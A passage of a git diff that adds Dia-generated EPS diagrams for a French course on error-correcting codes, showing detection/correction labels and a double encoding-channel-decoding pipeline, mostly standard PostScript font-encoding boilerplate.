{pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Italic-latin1 + /Palatino-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Bold-latin1 + /Palatino-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-BoldItalic-latin1 + /Palatino-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Symbol-latin1 + /Symbol findfont +definefont pop +/ZapfChancery-MediumItalic-latin1 + /ZapfChancery-MediumItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/ZapfDingbats-latin1 + /ZapfDingbats findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +28.346000 -28.346000 scale +-5.975000 -11.477500 translate +%%EndProlog + + +0.050000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 8.337500 7.337500 2.337500 2.337500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 8.337500 7.337500 2.337500 2.337500 0 360 ellipse cp s +0.005000 slw +0 slc +0 slj +[] 0 sd +n 8.337500 7.337500 2.337500 2.337500 0 360 ellipse cp s +0.050000 slw +[] 0 sd +[] 0 sd +0 slc +n 8.766789 7.337500 m 10.563197 7.337500 l s +[] 0 sd +0 slj +0 slc +1.000000 1.000000 1.000000 srgb +n 8.337500 7.337500 m 8.587500 7.087500 l 8.837500 7.337500 l 8.587500 7.587500 l ef +0.050000 slw +[] 0 sd +0 slj +0 slc +0.000000 0.000000 0.000000 srgb +n 8.337500 7.337500 m 8.587500 7.087500 l 8.837500 7.337500 l 8.587500 7.587500 l cp s +0.050000 slw +[] 0 sd +0 slj +0 slc +n 10.119098 7.587500 m 10.619098 7.337500 l 10.119098 7.087500 l s +/Helvetica-latin1 ff 0.560000 scf sf +(c ) dup sw 8.337500 ex sub 7.337500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(t) dup sw 2 div 9.506250 ex sub 6.937500 m gs 1 -1 sc sh gr +0.050000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 16.337500 7.337500 2.337500 2.337500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 16.337500 7.337500 2.337500 2.337500 0 360 ellipse cp s +0.005000 slw +0 slc +0 slj +[] 0 sd +n 16.337500 7.337500 2.337500 2.337500 0 360 ellipse cp s +0.050000 slw +[] 0 sd +[] 0 sd +0 slc +n 16.766789 7.337500 m 18.563197 7.337500 l s +[] 0 sd +0 slj +0 slc +1.000000 1.000000 1.000000 srgb +n 16.337500 7.337500 m 16.587500 7.087500 l 16.837500 7.337500 l 16.587500 7.587500 l ef +0.050000 slw +[] 0 sd +0 slj +0 slc +0.000000 0.000000 0.000000 srgb +n 16.337500 7.337500 m 16.587500 7.087500 l 16.837500 7.337500 l 16.587500 7.587500 l cp s +0.050000 slw +[] 0 sd +0 slj +0 slc +n 18.119098 7.587500 m 18.619098 7.337500 l 18.119098 7.087500 l s +/Helvetica-latin1 ff 0.560000 scf sf +(r ) dup sw 16.337500 ex sub 7.337500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(t) dup sw 2 div 17.506250 ex sub 6.937500 m gs 1 -1 sc sh gr +0.010000 slw +[] 0 sd +[] 0 sd +0 slc +n 16.000000 9.000000 m 16.000000 9.000000 l s +[] 0 sd +0 slj +0 slc +1.000000 1.000000 1.000000 srgb +n 16.000000 9.000000 m 15.750000 9.250000 l 15.500000 9.000000 l 15.750000 8.750000 l ef +0.010000 slw +[] 0 sd +0 slj +0 slc +0.000000 0.000000 0.000000 srgb +n 16.000000 9.000000 m 15.750000 9.250000 l 15.500000 9.000000 l 15.750000 8.750000 l cp s +/Helvetica-latin1 ff 0.560000 scf sf +( c) 16.000000 9.000000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(t-détection) dup sw 2 div 8.337500 ex sub 11.042500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(t-correction) dup sw 2 div 16.337500 ex sub 11.042500 m gs 1 -1 sc sh gr +showpage diff --git a/CodesCorrecteurs/corr-detect.png b/CodesCorrecteurs/corr-detect.png new file mode 100755 index 0000000..2b2dc41 Binary files /dev/null and b/CodesCorrecteurs/corr-detect.png differ diff --git a/CodesCorrecteurs/double_codage.dia b/CodesCorrecteurs/double_codage.dia new file mode 100755 index 0000000..b36134c Binary files /dev/null and b/CodesCorrecteurs/double_codage.dia differ diff --git a/CodesCorrecteurs/double_codage.eps b/CodesCorrecteurs/double_codage.eps new file mode 100755 index 0000000..53a571c --- /dev/null +++ b/CodesCorrecteurs/double_codage.eps @@ -0,0 +1,484 @@ +%!PS-Adobe-2.0 EPSF-2.0 +%%Title: /home/users/trusted-users/nicolas.masse/tmp/CC/double_codage.dia +%%Creator: Dia v0.95-1 +%%CreationDate: Sun Dec 3 21:48:06 2006 +%%For: nicolas.masse +%%Orientation: Portrait +%%Magnification: 1.0000 +%%BoundingBox: 0 0 751 229 +%%BeginSetup +%%EndSetup +%%EndComments +%%BeginProlog +[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright +/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one +/two /three /four /five /six /seven /eight /nine /colon /semicolon +/less /equal /greater /question /at /A /B /C /D /E +/F /G /H /I /J /K /L /M /N /O +/P /Q /R /S /T /U /V /W /X /Y +/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c +/d /e /f /g /h /i /j /k /l /m +/n /o /p /q /r /s /t /u /v /w +/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright +/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior +/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf +/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla +/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde +/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex +/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring +/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis +/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave +/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def +/cp {closepath} bind def +/c {curveto} bind def +/f {fill} bind def +/a {arc} bind def +/ef {eofill} bind def +/ex {exch} bind def +/gr {grestore} bind def +/gs {gsave} bind def +/sa {save} bind def +/rs {restore} bind def +/l {lineto} bind def +/m {moveto} bind def +/rm {rmoveto} bind def +/n {newpath} bind def +/s {stroke} bind def +/sh {show} bind def +/slc {setlinecap} bind def +/slj {setlinejoin} bind def +/slw {setlinewidth} bind def +/srgb {setrgbcolor} bind def +/rot {rotate} bind def +/sc {scale} bind def +/sd {setdash} bind def +/ff {findfont} bind def +/sf {setfont} bind def +/scf {scalefont} bind def +/sw {stringwidth pop} bind def +/tr {translate} bind def + +/ellipsedict 8 dict def +ellipsedict /mtrx matrix put +/ellipse +{ ellipsedict begin + /endangle exch def + /startangle exch def + /yrad exch def + /xrad exch def + /y exch def + /x exch def /savematrix mtrx currentmatrix def + x y tr xrad yrad sc + 0 0 1 startangle endangle arc + savematrix setmatrix + end +} def + +/mergeprocs { +dup length +3 -1 roll +dup +length +dup +5 1 roll +3 -1 roll +add +array cvx +dup +3 -1 roll +0 exch +putinterval +dup +4 2 roll +putinterval +} bind def +/Times-Roman-latin1 + /Times-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Italic-latin1 + /Times-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Bold-latin1 + /Times-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-BoldItalic-latin1 + /Times-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Book-latin1 + /AvantGarde-Book findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-BookOblique-latin1 + /AvantGarde-BookOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Demi-latin1 + /AvantGarde-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-DemiOblique-latin1 + /AvantGarde-DemiOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Light-latin1 + /Bookman-Light findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-LightItalic-latin1 + /Bookman-LightItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Demi-latin1 + /Bookman-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-DemiItalic-latin1 + /Bookman-DemiItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-latin1 + /Courier findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Oblique-latin1 + /Courier-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Bold-latin1 + /Courier-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-BoldOblique-latin1 + /Courier-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-latin1 + /Helvetica findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Oblique-latin1 + /Helvetica-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Bold-latin1 + /Helvetica-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-BoldOblique-latin1 + /Helvetica-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-latin1 + /Helvetica-Narrow findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Oblique-latin1 + /Helvetica-Narrow-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Bold-latin1 + /Helvetica-Narrow-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-BoldOblique-latin1 + /Helvetica-Narrow-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Roman-latin1 + /NewCenturySchoolbook-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Italic-latin1 + /NewCenturySchoolbook-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Bold-latin1 + /NewCenturySchoolbook-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-BoldItalic-latin1 + /NewCenturySchoolbook-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Roman-latin1 + /Palatino-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Italic-latin1 + /Palatino-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Bold-latin1 + /Palatino-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-BoldItalic-latin1 + /Palatino-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Symbol-latin1 + /Symbol findfont +definefont pop +/ZapfChancery-MediumItalic-latin1 + /ZapfChancery-MediumItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/ZapfDingbats-latin1 + /ZapfDingbats findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +28.346000 -28.346000 scale +-7.332500 -18.025000 translate +%%EndProlog + + +1.000000 1.000000 1.000000 srgb +n 10.000000 10.000000 m 10.000000 13.000000 l 15.000000 13.000000 l 15.000000 10.000000 l f +0.050000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 10.000000 10.000000 m 10.000000 13.000000 l 15.000000 13.000000 l 15.000000 10.000000 l cp s +/Helvetica-latin1 ff 0.560000 scf sf +(Encodage) dup sw 2 div 12.500000 ex sub 11.175000 m gs 1 -1 sc sh gr +(avec C1) dup sw 2 div 12.500000 ex sub 11.975000 m gs 1 -1 sc sh gr +1.000000 1.000000 1.000000 srgb +n 18.000000 10.000000 m 18.000000 13.000000 l 23.000000 13.000000 l 23.000000 10.000000 l f +0.050000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 18.000000 10.000000 m 18.000000 13.000000 l 23.000000 13.000000 l 23.000000 10.000000 l cp s +/Helvetica-latin1 ff 0.560000 scf sf +(Encodage) dup sw 2 div 20.500000 ex sub 11.175000 m gs 1 -1 sc sh gr +(avec C2) dup sw 2 div 20.500000 ex sub 11.975000 m gs 1 -1 sc sh gr +1.000000 1.000000 1.000000 srgb +n 26.000000 10.000000 m 26.000000 13.000000 l 31.000000 13.000000 l 31.000000 10.000000 l f +0.050000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 26.000000 10.000000 m 26.000000 13.000000 l 31.000000 13.000000 l 31.000000 10.000000 l cp s +/Helvetica-latin1 ff 0.560000 scf sf +(Canal) dup sw 2 div 28.500000 ex sub 11.575000 m gs 1 -1 sc sh gr +0.050000 slw +[] 0 sd +[] 0 sd +0 slc +n 15.000000 11.500000 m 17.888197 11.500000 l s +0.050000 slw +[] 0 sd +0 slj +0 slc +n 17.444098 11.750000 m 17.944098 11.500000 l 17.444098 11.250000 l s +0.050000 slw +[] 0 sd +[] 0 sd +0 slc +n 23.000000 11.500000 m 25.888197 11.500000 l s +0.050000 slw +[] 0 sd +0 slj +0 slc +n 25.444098 11.750000 m 25.944098 11.500000 l 25.444098 11.250000 l s +/Helvetica-latin1 ff 0.560000 scf sf +(C1) dup sw 2 div 16.500000 ex sub 11.100000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(C2) dup sw 2 div 24.500000 ex sub 11.100000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(m) dup sw 7.900000 ex sub 11.666250 m gs 1 -1 sc sh gr +0.050000 slw +[] 0 sd +[] 0 sd +0 slc +n 9.888197 11.500000 m 8.200000 11.500000 l s +0.050000 slw +[] 0 sd +0 slj +0 slc +n 9.444098 11.750000 m 9.944098 11.500000 l 9.444098 11.250000 l s +1.000000 1.000000 1.000000 srgb +n 10.000000 15.000000 m 10.000000 18.000000 l 15.000000 18.000000 l 15.000000 15.000000 l f +0.050000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 10.000000 15.000000 m 10.000000 18.000000 l 15.000000 18.000000 l 15.000000 15.000000 l cp s +/Helvetica-latin1 ff 0.560000 scf sf +(Canal) dup sw 2 div 12.500000 ex sub 16.575000 m gs 1 -1 sc sh gr +1.000000 1.000000 1.000000 srgb +n 18.000000 15.000000 m 18.000000 18.000000 l 23.000000 18.000000 l 23.000000 15.000000 l f +0.050000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 18.000000 15.000000 m 18.000000 18.000000 l 23.000000 18.000000 l 23.000000 15.000000 l cp s +/Helvetica-latin1 ff 0.560000 scf sf +(Décodage) dup sw 2 div 20.500000 ex sub 16.175000 m gs 1 -1 sc sh gr +(avec C2) dup sw 2 div 20.500000 ex sub 16.975000 m gs 1 -1 sc sh gr +1.000000 1.000000 1.000000 srgb +n 26.000000 15.000000 m 26.000000 18.000000 l 31.000000 18.000000 l 31.000000 15.000000 l f +0.050000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 26.000000 15.000000 m 26.000000 18.000000 l 31.000000 18.000000 l 31.000000 15.000000 l cp s +/Helvetica-latin1 ff 0.560000 scf sf +(Décodage) dup sw 2 div 28.500000 ex sub 16.175000 m gs 1 -1 sc sh gr +(avec C1) dup sw 2 div 28.500000 ex sub 16.975000 m gs 1 -1 sc sh gr +0.050000 slw +[] 0 sd +[] 0 sd +0 slc +n 15.000000 16.500000 m 17.888197 16.500000 l s +0.050000 slw +[] 0 sd +0 slj +0 slc +n 17.444098 16.750000 m 17.944098 16.500000 l 17.444098 16.250000 l s +0.050000 slw +[] 0 sd +[] 0 sd +0 slc +n 23.000000 16.500000 m 25.888197 16.500000 l s +0.050000 slw +[] 0 sd +0 slj +0 slc +n 25.444098 16.750000 m 25.944098 16.500000 l 25.444098 16.250000 l s +/Helvetica-latin1 ff 0.560000 scf sf +(C2') dup sw 2 div 16.500000 ex sub 16.100000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(C1') dup sw 2 div 24.500000 ex sub 16.100000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(m') dup sw 33.800000 ex sub 16.775000 m gs 1 -1 sc sh gr +0.050000 slw +[] 0 sd +[] 0 sd +0 slc +n 32.788197 16.500000 m 31.000000 16.500000 l s +0.050000 slw +[] 0 sd +0 slj +0 slc +n 32.344098 16.750000 m 32.844098 16.500000 l 32.344098 16.250000 l s +showpage diff --git a/CodesCorrecteurs/double_codage.png b/CodesCorrecteurs/double_codage.png new file mode 100755 index 0000000..a468e0d Binary files /dev/null and b/CodesCorrecteurs/double_codage.png differ diff --git a/CodesCorrecteurs/general1.dia b/CodesCorrecteurs/general1.dia new file mode 100755 index 0000000..fce2647 Binary files /dev/null and b/CodesCorrecteurs/general1.dia differ diff --git a/CodesCorrecteurs/general1.eps b/CodesCorrecteurs/general1.eps new file mode 100755 index 0000000..428a477 --- /dev/null +++ b/CodesCorrecteurs/general1.eps @@ -0,0 +1,404 @@ +%!PS-Adobe-2.0 EPSF-2.0 +%%Title: /home/users/trusted-users/nicolas.masse/tmp/CC/general1.dia +%%Creator: Dia v0.95-1 +%%CreationDate: Sun Dec 3 16:15:43 2006 +%%For: nicolas.masse +%%Orientation: Portrait +%%Magnification: 1.0000 +%%BoundingBox: 0 0 573 67 +%%BeginSetup +%%EndSetup +%%EndComments +%%BeginProlog +[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright +/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one +/two /three /four /five /six /seven /eight /nine /colon /semicolon +/less /equal /greater /question /at /A /B /C /D /E +/F /G /H /I /J /K /L /M /N /O +/P /Q /R /S /T /U /V /W /X /Y +/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c +/d /e /f /g /h /i /j /k /l /m +/n /o /p /q /r /s /t /u /v /w +/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright +/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior +/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf +/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla +/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde +/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex +/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring +/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis +/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave +/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def +/cp {closepath} bind def +/c {curveto} bind def +/f {fill} bind def +/a {arc} bind def +/ef {eofill} bind def +/ex {exch} bind def +/gr {grestore} bind def +/gs {gsave} bind def +/sa {save} bind def +/rs {restore} bind def +/l {lineto} bind def +/m {moveto} bind def +/rm {rmoveto} bind def +/n {newpath} bind def +/s {stroke} bind def +/sh {show} bind def +/slc {setlinecap} bind def +/slj {setlinejoin} bind def +/slw {setlinewidth} bind def +/srgb {setrgbcolor} bind def +/rot {rotate} bind def +/sc {scale} bind def +/sd {setdash} bind def +/ff {findfont} bind def +/sf {setfont} bind def +/scf {scalefont} bind def +/sw {stringwidth pop} bind def +/tr {translate} bind def + +/ellipsedict 8 dict def +ellipsedict /mtrx matrix put +/ellipse +{ ellipsedict begin + /endangle exch def + /startangle exch def + /yrad exch def + /xrad exch def + /y exch def + /x exch def /savematrix mtrx currentmatrix def + x y tr xrad yrad sc + 0 0 1 startangle endangle arc + savematrix setmatrix + end +} def + +/mergeprocs { +dup length +3 -1 roll +dup +length +dup +5 1 roll +3 -1 roll +add +array cvx +dup +3 -1 roll +0 exch +putinterval +dup +4 2 roll +putinterval +} bind def +/Times-Roman-latin1 + /Times-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Italic-latin1 + /Times-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Bold-latin1 + /Times-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-BoldItalic-latin1 + /Times-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Book-latin1 + /AvantGarde-Book findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-BookOblique-latin1 + /AvantGarde-BookOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Demi-latin1 + /AvantGarde-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-DemiOblique-latin1 + /AvantGarde-DemiOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Light-latin1 + /Bookman-Light findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-LightItalic-latin1 + /Bookman-LightItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Demi-latin1 + /Bookman-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-DemiItalic-latin1 + /Bookman-DemiItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-latin1 + /Courier findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Oblique-latin1 + /Courier-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Bold-latin1 + /Courier-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-BoldOblique-latin1 + /Courier-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-latin1 + /Helvetica findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Oblique-latin1 + /Helvetica-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Bold-latin1 + /Helvetica-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-BoldOblique-latin1 + /Helvetica-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-latin1 + /Helvetica-Narrow findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Oblique-latin1 + /Helvetica-Narrow-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Bold-latin1 + /Helvetica-Narrow-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-BoldOblique-latin1 + /Helvetica-Narrow-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Roman-latin1 + /NewCenturySchoolbook-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Italic-latin1 